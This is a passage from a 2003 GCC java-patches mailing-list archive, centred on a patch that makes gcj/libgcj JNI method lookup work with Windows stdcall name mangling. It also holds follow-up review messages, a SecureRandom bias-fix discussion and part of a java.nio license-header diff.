java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29767 invoked from network); 12 Feb 2003 23:37:22 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 23:37:22 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA11080; Wed, 12 Feb 2003 16:37:19 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B9BE94F8072; Wed, 12 Feb 2003 16:27:12 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj/libgcj JNI and Windows From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now my EMOTIONAL RESOURCES are heavily committed to 23% of the SMELTING and REFINING industry of the state of NEVADA!! Date: 12 Feb 2003 16:27:12 -0700 Message-ID: <87heb9gjvz.fsf@fleche.redhat.com> Lines: 258 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This is the most recent version of Ranjit's gcj and libgcj JNI patch. This lets JNI work correctly on Windows. It changes JNI method lookup to use names as mangled on Windows (including @ + the argument size), and it also changes gcj to know that JNI methods are stdcall. Tom Index: gcc/java/ChangeLog from Ranjit Mathew * decl.c (java_init_decl_processing): Change soft_lookupjnimethod_node to reflect the change in signature of _Jv_LookupJNIMethod in libjava/jni.cc * expr.c (build_jni_stub): Calculate and pass the size on the stack of the arguments to a JNI function. Use new target macro MODIFY_JNI_METHOD_CALL to allow a target to modify the call to a JNI method. Index: gcc/java/decl.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/decl.c,v retrieving revision 1.139.2.1 diff -u -r1.139.2.1 decl.c --- gcc/java/decl.c 14 Jan 2003 20:30:27 -0000 1.139.2.1 +++ gcc/java/decl.c 12 Feb 2003 23:33:08 -0000 @@ -883,7 +883,9 @@ t = tree_cons (NULL_TREE, object_ptr_type_node, tree_cons (NULL_TREE, ptr_type_node, - tree_cons (NULL_TREE, ptr_type_node, endlink))); + tree_cons (NULL_TREE, ptr_type_node, + tree_cons (NULL_TREE, int_type_node, + endlink)))); soft_lookupjnimethod_node = builtin_function ("_Jv_LookupJNIMethod", build_function_type (ptr_type_node, t), Index: gcc/java/expr.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/expr.c,v retrieving revision 1.153.2.1 diff -u -r1.153.2.1 expr.c --- gcc/java/expr.c 3 Jan 2003 23:10:05 -0000 1.153.2.1 +++ gcc/java/expr.c 12 Feb 2003 23:33:10 -0000 @@ -2171,6 +2171,8 @@ tree method_args, res_type; tree meth_var; + int args_size = 0; + tree klass = DECL_CONTEXT (method); int from_class = ! CLASS_FROM_SOURCE_P (klass); klass = build_class_ref (klass); @@ -2232,7 +2234,16 @@ special way, we would do that here. */ args = NULL_TREE; for (tem = method_args; tem != NULL_TREE; tem = TREE_CHAIN (tem)) - args = tree_cons (NULL_TREE, tem, args); + { + int arg_bits = TREE_INT_CST_LOW (TYPE_SIZE_UNIT (TREE_TYPE (tem))); +#ifdef PARM_BOUNDARY + arg_bits = (((arg_bits + PARM_BOUNDARY - 1) / PARM_BOUNDARY) + * PARM_BOUNDARY); +#endif + args_size += (arg_bits / BITS_PER_UNIT); + + args = tree_cons (NULL_TREE, tem, args); + } args = nreverse (args); arg_types = TYPE_ARG_TYPES (TREE_TYPE (method)); @@ -2241,31 +2252,38 @@ available in the argument list. */ if (METHOD_STATIC (method)) { + args_size += int_size_in_bytes (TREE_TYPE (klass)); args = tree_cons (NULL_TREE, klass, args); arg_types = tree_cons (NULL_TREE, object_ptr_type_node, arg_types); } /* The JNIEnv structure is the first argument to the JNI function. */ + args_size += int_size_in_bytes (TREE_TYPE (env_var)); args = tree_cons (NULL_TREE, env_var, args); arg_types = tree_cons (NULL_TREE, ptr_type_node, arg_types); /* We call _Jv_LookupJNIMethod to find the actual underlying function pointer. _Jv_LookupJNIMethod will throw the appropriate exception if this function is not found at runtime. */ + tem = build_tree_list (NULL_TREE, build_int_2 (args_size, 0)); method_sig = build_java_signature (TREE_TYPE (method)); - lookup_arg = - build_tree_list (NULL_TREE, - build_utf8_ref (unmangle_classname - (IDENTIFIER_POINTER (method_sig), - IDENTIFIER_LENGTH (method_sig)))); + lookup_arg = tree_cons (NULL_TREE, + build_utf8_ref (unmangle_classname + (IDENTIFIER_POINTER (method_sig), + IDENTIFIER_LENGTH (method_sig))), + tem); tem = DECL_NAME (method); lookup_arg = tree_cons (NULL_TREE, klass, tree_cons (NULL_TREE, build_utf8_ref (tem), lookup_arg)); + + tem = build_function_type (TREE_TYPE (TREE_TYPE (method)), arg_types); + +#ifdef MODIFY_JNI_METHOD_CALL + tem = MODIFY_JNI_METHOD_CALL (tem); +#endif - jni_func_type - = build_pointer_type (build_function_type (TREE_TYPE (TREE_TYPE (method)), - arg_types)); + jni_func_type = build_pointer_type (tem); jnifunc = build (COND_EXPR, ptr_type_node, meth_var, meth_var, Index: libjava/ChangeLog from Ranjit Mathew * jni.cc (_Jv_LookupJNIMethod): Modify to accept the size of the arguments for a JNI function. For Win32, modify to search for all forms of possible exported names of an stdcall JNI function. (_Jv_JNIMethod::call): Modify to calculate the size of the arguments passed to a JNI function and pass it to _Jv_LookupJNIMethod. Index: libjava/jni.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/jni.cc,v retrieving revision 1.68.2.1 diff -u -r1.68.2.1 jni.cc --- libjava/jni.cc 31 Jan 2003 22:50:28 -0000 1.68.2.1 +++ libjava/jni.cc 12 Feb 2003 23:33:24 -0000 @@ -10,6 +10,7 @@ #include +#include #include #include @@ -2028,9 +2029,9 @@ // This is `extern "C"' because the compiler uses it. extern "C" void * _Jv_LookupJNIMethod (jclass klass, _Jv_Utf8Const *name, - _Jv_Utf8Const *signature) + _Jv_Utf8Const *signature, int args_size) { - char buf[10 + 6 * (name->length + signature->length)]; + char buf[10 + 6 * (name->length + signature->length) + 12]; int long_start; void *function; @@ -2050,18 +2051,72 @@ return function; // If there was no override, then look in the symbol table. - mangled_name (klass, name, signature, buf, &long_start); - char c = buf[long_start]; - buf[long_start] = '\0'; - function = _Jv_FindSymbolInExecutable (buf); + buf[0] = '_'; + mangled_name (klass, name, signature, buf + 1, &long_start); + char c = buf[long_start + 1]; + buf[long_start + 1] = '\0'; + + function = _Jv_FindSymbolInExecutable (buf + 1); +#ifdef WIN32 + // On Win32, we use the "stdcall" calling convention (see JNICALL + // in jni.h). + // + // For a function named 'fooBar' that takes 'nn' bytes as arguments, + // by default, MinGW GCC exports it as 'fooBar@nn', MSVC exports it + // as '_fooBar@nn' and Borland C exports it as 'fooBar'. We try to + // take care of all these variations here. + + char asz_buf[12]; /* '@' + '2147483647' (32-bit INT_MAX) + '\0' */ + char long_nm_sv[11]; /* Ditto, except for the '\0'. */ + if (function == NULL) { - buf[long_start] = c; + // We have tried searching for the 'fooBar' form (BCC) - now + // try the others. + + // First, save the part of the long name that will be damaged + // by appending '@nn'. + memcpy (long_nm_sv, (buf + long_start + 1 + 1), sizeof (long_nm_sv)); + + sprintf (asz_buf, "@%d", args_size); + strcat (buf, asz_buf); + + // Search for the '_fooBar@nn' form (MSVC). function = _Jv_FindSymbolInExecutable (buf); + + if (function == NULL) + { + // Search for the 'fooBar@nn' form (MinGW GCC). + function = _Jv_FindSymbolInExecutable (buf + 1); + } + } +#else /* WIN32 */ + args_size; /* Dummy statement to avoid unused parameter warning */ +#endif /* ! WIN32 */ + + if (function == NULL) + { + buf[long_start + 1] = c; +#ifdef WIN32 + // Restore the part of the long name that was damaged by + // appending the '@nn'. + memcpy ((buf + long_start + 1 + 1), long_nm_sv, sizeof (long_nm_sv)); +#endif /* WIN32 */ + function = _Jv_FindSymbolInExecutable (buf + 1); if (function == NULL) { - jstring str = JvNewStringUTF (name->data); - throw new java::lang::UnsatisfiedLinkError (str); +#ifdef WIN32 + strcat (buf, asz_buf); + function = _Jv_FindSymbolInExecutable (buf); + if (function == NULL) + function = _Jv_FindSymbolInExecutable (buf + 1); + + if (function == NULL) +#endif /* WIN32 */ + { + jstring str = JvNewStringUTF (name->data); + throw new java::lang::UnsatisfiedLinkError (str); + } } } @@ -2092,9 +2147,17 @@ // time. JvSynchronize sync (global_ref_table); if (_this->function == NULL) - _this->function = _Jv_LookupJNIMethod (_this->defining_class, - _this->self->name, - _this->self->signature); + { + int args_size = sizeof (JNIEnv *) + _this->args_raw_size; + + if (_this->self->accflags & java::lang::reflect::Modifier::STATIC) + args_size += sizeof (_this->defining_class); + + _this->function = _Jv_LookupJNIMethod (_this->defining_class, + _this->self->name, + _this->self->signature, + args_size); + } } JvAssert (_this->args_raw_size % sizeof (ffi_raw) == 0); From java-patches-return-6101-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 00:02:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13923 invoked by alias); 13 Feb 2003 00:02:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13896 invoked from network); 13 Feb 2003 00:02:56 -0000 Received: from unknown (HELO gosset.megacz.com) (66.250.52.247) by 172.16.49.205 with SMTP; 13 Feb 2003 00:02:56 -0000 Received: from megacz by gosset.megacz.com with local (Exim 3.35 #1 (Debian)) id 18j6q5-0006G7-00; Wed, 12 Feb 2003 16:02:53 -0800 To: tromey@redhat.com Cc: "Ranjit Mathew" , "Adam Megacz" , "Java Patches" Subject: Re: added typedef for socklen_t to win32.h References: <868ywm9ee9.fsf@nowhere.com> <86k7g6c63x.fsf@nowhere.com> <87znp1i9zl.fsf@fleche.redhat.com> From: Adam Megacz X-Home-Page: http://www.megacz.com/ Organization: Myself Date: 12 Feb 2003 16:02:53 -0800 In-Reply-To: Tom Tromey's message of "12 Feb 2003 12:18:06 -0700" Message-ID: <86bs1h9hea.fsf@nowhere.com> Lines: 21 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'll sign off on Ranjit's patch. Tom, my dev environment is kinda messed up right now; could you check Ranjit's patch into trunk and branch for me? Thanks. - a Tom Tromey writes: > Let's get at least one of these patches in to 3.3. If you tell me > which one, I will check it in this week. > > Tom > -- "The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his education and his recreation, his love and his religion. He hardly knows which is which; he simply pursues his vision of excellence in whatever he does, leaving others to decide whether he is working or playing. To him he is always doing both." -- Zen Buddhist Text From java-patches-return-6102-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 00:04:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14918 invoked by alias); 13 Feb 2003 00:04:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14911 invoked from network); 13 Feb 2003 00:04:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 00:04:14 -0000 Received: from fleche.redhat.com (tz0173.peakpeak.com [207.174.69.173]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA17852; Wed, 12 Feb 2003 17:04:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 503814F8072; Wed, 12 Feb 2003 16:54:07 -0700 (MST) To: Adam Megacz Cc: "Ranjit Mathew" , "Java Patches" Subject: Re: added typedef for socklen_t to win32.h References: <868ywm9ee9.fsf@nowhere.com> <86k7g6c63x.fsf@nowhere.com> <87znp1i9zl.fsf@fleche.redhat.com> <86bs1h9hea.fsf@nowhere.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If I am elected no one will ever have to do their laundry again! Date: 12 Feb 2003 16:54:07 -0700 In-Reply-To: <86bs1h9hea.fsf@nowhere.com> Message-ID: <878ywlgin4.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Adam" == Adam Megacz writes: Adam> I'll sign off on Ranjit's patch. Tom, my dev environment is Adam> kinda messed up right now; could you check Ranjit's patch into Adam> trunk and branch for me? No problem; I'll do it shortly. Tom From java-patches-return-6103-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 04:38:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3504 invoked by alias); 13 Feb 2003 04:38:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3497 invoked from network); 13 Feb 2003 04:38:45 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.201) by 172.16.49.205 with SMTP; 13 Feb 2003 04:38:45 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 12 Feb 2003 20:38:45 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Mark Wielaard" , "Ranjit Mathew" Cc: References: <3E4AA545.3CB8BB13@hotmail.com> <1045089185.30201.82.camel@elsschot> Subject: Re: Patch: Fix line-number lookup in creating a StackTraceElement Date: Thu, 13 Feb 2003 10:10:49 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 13 Feb 2003 04:38:45.0088 (UTC) FILETIME=[CADC6600:01C2D319] > Do you have CVS access or do you want me to check this in? I do not - can you please do it? Thanks! Ranjit. From java-patches-return-6104-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 04:52:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4712 invoked by alias); 13 Feb 2003 04:52:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4704 invoked from network); 13 Feb 2003 04:52:06 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.118) by 172.16.49.205 with SMTP; 13 Feb 2003 04:52:06 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 12 Feb 2003 20:52:05 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Java Patches" References: <87heb9gjvz.fsf@fleche.redhat.com> Subject: Re: Patch: FYI: gcj/libgcj JNI and Windows Date: Thu, 13 Feb 2003 10:24:09 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 13 Feb 2003 04:52:05.0794 (UTC) FILETIME=[A81E7020:01C2D31B] > I'm checking this in to 3.3 and 3.4. Since this patch slightly affects _Jv_LookupJNIMethod( ) for other platforms as well (right shift by one in the usage of the 'buf' array), can someone please test JNI again on a non-Win32 platform like, say, Linux/x86? (Including the use of long names in addition to short names for overloaded methods.) The "libjava.jni" set of tests in the libgcj testsuite should be a nice sanity check. AFAICT, there *should not* be any problems, but just to be sure... Many thanks in advance for the help. Ranjit. From java-patches-return-6105-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 05:23:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19704 invoked by alias); 13 Feb 2003 05:23:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19697 invoked from network); 13 Feb 2003 05:23:12 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 05:23:12 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA18036; Wed, 12 Feb 2003 22:23:11 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4CFE24F8072; Wed, 12 Feb 2003 22:13:08 -0700 (MST) To: "Ranjit Mathew" Cc: "Java Patches" Subject: Re: Patch: FYI: gcj/libgcj JNI and Windows References: <87heb9gjvz.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Boys, you have ALL been selected to LEAVE th' PLANET in 15 minutes!! Date: 12 Feb 2003 22:13:08 -0700 In-Reply-To: Message-ID: <871y2c226z.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> Since this patch slightly affects _Jv_LookupJNIMethod( ) for Ranjit> other platforms as well (right shift by one in the usage of Ranjit> the 'buf' array), can someone please test JNI again on a Ranjit> non-Win32 platform like, say, Linux/x86? I did this before checking it in. Tom From java-patches-return-6106-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 06:46:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22066 invoked by alias); 13 Feb 2003 06:46:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22059 invoked from network); 13 Feb 2003 06:46:30 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 13 Feb 2003 06:46:30 -0000 Received: from 192.168.1.3 (dynadsl-080-228-65-183.ewetel.net [80.228.65.183]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1D6kQbq027876; Thu, 13 Feb 2003 07:46:28 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.nio fixes Date: Thu, 13 Feb 2003 07:43:53 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302120858.37696.konqueror@gmx.de> <87vfzpi9ge.fsf@fleche.redhat.com> In-Reply-To: <87vfzpi9ge.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302130744.14059.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Mittwoch, 12. Februar 2003 20:29 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> I commited some java.nio fixes. This should be merged into > 3.3. > > Done. > > Today's patches from you proved harder to apply than yesterday's.=20 > You must have changed how they were created. I prefer yesterday's > approach; I can apply directly from my mailer. Today's I had to > apply by hand :-( Sorry for the trouble. First I did a cvs diff, yesterday I did a local=20 diff against my local clean CVS checkout to not need to go online for=20 this. Will diff against CVS again if that makes things easier. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Sz6tWSOgCCdjSDsRAtJFAJ44puh7hRhoNTY5SrJEOKKTAYvdpwCfZxEv aNArdANvsPl0feuVOA8nVtw=3D =3DAON9 =2D----END PGP SIGNATURE----- From java-patches-return-6107-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 07:37:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4015 invoked by alias); 13 Feb 2003 07:37:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4008 invoked from network); 13 Feb 2003 07:37:08 -0000 Received: from unknown (HELO blossom) (12.235.115.156) by 172.16.49.205 with SMTP; 13 Feb 2003 07:37:08 -0000 Received: from buttercup ([192.168.0.20] helo=metastatic.org ident=rsdio) by blossom with esmtp (Exim 3.35 #1 (Debian)) id 18jDvP-000254-00; Wed, 12 Feb 2003 23:36:51 -0800 Message-ID: <3E4B4C75.5000809@metastatic.org> Date: Wed, 12 Feb 2003 23:42:45 -0800 From: Casey Marshall User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: java-patches@gcc.gnu.org Subject: Re: PATCH: java.security improvements References: <3E282BAB.7020306@metastatic.org> <874r79i61y.fsf@fleche.redhat.com> In-Reply-To: <3E282BAB.7020306@metastatic.org> X-Enigmail-Version: 0.70.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Tom Tromey wrote: > >>>>>"Casey" == Casey Marshall writes: > > > Casey> There is also a fix for a bias in the `next(int numBits)' > Casey> method of SecureRandom (filed as PR 9271). > > This part is small enough to go in before the paperwork for the rest > is done. So I extracted it. I also rewrote a tiny piece of it. What > do you think of the appended? > > I made two changes: we now compute the return mask more efficiently, > and also we take into account that `<<' has higher precedence than > `&'. > > If you think this looks ok, I will check it in (to 3.3, 3.4, and > Classpath). Looks ok. > BTW, parts of the patch need reformatting to fit the classpath/libgcj > coding standard. Could you do that? That will make it easier to put > the patch in when the time comes. > Ok. I assume you mean the indentation of code blocks? - -- Casey Marshall || rsdio@metastatic.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE+S0x0gAuWMgRGsWsRAv6DAJ4pVMCHJYLeQK+gUXf6bqbJBgpcUACgjGwt Y/7VFO0FvAvzGBFVhGgWkRw= =8rS5 -----END PGP SIGNATURE----- From java-patches-return-6108-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 08:42:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16709 invoked by alias); 13 Feb 2003 08:42:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16687 invoked from network); 13 Feb 2003 08:42:12 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 13 Feb 2003 08:42:12 -0000 Received: from 192.168.1.3 (dynadsl-080-228-69-197.ewetel.net [80.228.69.197]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1D8g9GF002726 for ; Thu, 13 Feb 2003 09:42:10 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio and gnu.java.nio Date: Thu, 13 Feb 2003 09:42:10 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ip1S+TTVmtE2o/9" Message-Id: <200302130942.11049.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ip1S+TTVmtE2o/9 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, this patch adds license and copyright texts and throws some exceptions=20 if needed. I think this is a good candidate for 3.3 branch. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S1piWSOgCCdjSDsRAtnMAJsEy1S81YvMoWDskbXYgh3SZDMo8wCfcNxY +UW1NMP/xH61K21/PXH7R1I=3D =3DPufg =2D----END PGP SIGNATURE----- --Boundary-00=_ip1S+TTVmtE2o/9 Content-Type: text/x-diff; charset="iso-8859-15"; name="nio.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1690 diff -u -r1.1690 ChangeLog --- ChangeLog 13 Feb 2003 07:45:57 -0000 1.1690 +++ ChangeLog 13 Feb 2003 08:40:13 -0000 @@ -1,4 +1,22 @@ 2003-02-13 Michael Koch + + * gnu/java/nio/natByteBufferImpl.cc, + gnu/java/nio/natCharBufferImpl.cc, + gnu/java/nio/natDoubleBufferImpl.cc, + gnu/java/nio/natFloatBufferImpl.cc, + gnu/java/nio/natIntBufferImpl.cc, + gnu/java/nio/natLongBufferImpl.cc, + gnu/java/nio/natShortBufferImpl.cc: + Added copyright and license. + * java/nio/DoubleBuffer.java, + java/nio/FloatBuffer.java, + java/nio/IntBuffer.java, + java/nio/LongBuffer.java, + java/nio/ShortBuffer.java + (array): Throw exceptions. + (arrayOffset): Throw exceptions. + +2003-02-13 Michael Koch * gnu/java/util/prefs/FileBasedFactory.java, gnu/java/util/prefs/MemmoryBasedFactory.java, Index: gnu/java/nio/natByteBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natByteBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natByteBufferImpl.cc --- gnu/java/nio/natByteBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natByteBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natByteBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natCharBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natCharBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natCharBufferImpl.cc --- gnu/java/nio/natCharBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ gnu/java/nio/natCharBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natCharBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natDoubleBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natDoubleBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natDoubleBufferImpl.cc --- gnu/java/nio/natDoubleBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ gnu/java/nio/natDoubleBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natDoubleBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natFloatBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natFloatBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natFloatBufferImpl.cc --- gnu/java/nio/natFloatBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ gnu/java/nio/natFloatBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natFloatBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natIntBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natIntBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natIntBufferImpl.cc --- gnu/java/nio/natIntBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ gnu/java/nio/natIntBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natIntBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natLongBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natLongBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natLongBufferImpl.cc --- gnu/java/nio/natLongBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ 